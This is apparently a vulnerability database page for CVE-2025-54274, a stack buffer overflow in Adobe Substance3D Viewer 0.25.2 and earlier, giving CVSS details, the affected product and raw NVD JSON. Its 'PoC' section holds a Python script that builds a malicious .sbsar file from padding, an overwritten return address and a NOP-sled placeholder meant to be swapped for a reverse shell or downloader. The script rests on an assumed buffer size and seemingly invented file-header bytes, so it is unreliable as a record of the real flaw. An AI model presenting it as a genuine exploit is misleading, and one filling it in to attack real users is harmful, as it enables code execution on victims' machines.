Security Vulnerability Report
中文
CVE-2025-54274 CVSS 7.8 HIGH

CVE-2025-54274

Published: 2025-10-14 19:15:43
Last Modified: 2025-10-14 20:20:55

Description

Substance3D - Viewer versions 0.25.2 and earlier are affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:substance_3d_viewer:*:*:*:*:*:*:*:* - VULNERABLE
Adobe Substance3D - Viewer <= 0.25.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54274 PoC - Substance3D Viewer Stack-based Buffer Overflow # This is a conceptual PoC demonstrating the vulnerability trigger mechanism # NOTE: Actual exploitation requires crafting a valid malicious Substance resource file import struct # Buffer size assumption (typical for Substance file parsing routines) BUFFER_SIZE = 256 # Shellcode placeholder - replace with actual payload for exploitation # Example: reverse shell, downloader, or other arbitrary code shellcode = b"\x90" * 100 # NOP sled placeholder # Crafted malicious payload that overflows the stack buffer # The payload structure: # [padding to fill buffer] [overwrite saved EBP] [overwrite return address] [shellcode] padding = b"A" * BUFFER_SIZE # Fill the buffer saved_ebp = b"B" * 8 # Overwrite saved frame pointer return_address = struct.pack("<Q", 0x4141414141414141) # Overwrite return address # Complete malicious payload payload = padding + saved_ebp + return_address + shellcode # Write malicious Substance resource file (e.g., .sbsar format) with open("malicious_file.sbsar", "wb") as f: # Write a valid file header to pass initial parsing checks file_header = b"\x53\x42\x53\x41\x52" # Magic bytes for SBSAR format file_header += struct.pack("<I", len(payload)) f.write(file_header) f.write(payload) print(f"[*] Malicious file created: malicious_file.sbsar") print(f"[*] Payload size: {len(payload)} bytes") print(f"[*] Buffer overflow: {len(payload) - BUFFER_SIZE} bytes beyond buffer") print(f"[!] WARNING: This PoC is for educational and authorized testing purposes only") print(f"[!] Opening this file in Substance3D Viewer <= 0.25.2 will trigger CVE-2025-54274")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54274", "sourceIdentifier": "[email protected]", "published": "2025-10-14T19:15:43.153", "lastModified": "2025-10-14T20:20:55.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Viewer versions 0.25.2 and earlier are affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_viewer:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.25.2", "matchCriteriaId": "5757450C-E7A8-4082-B84C-E82930AD428F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d-viewer/apsb25-99.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}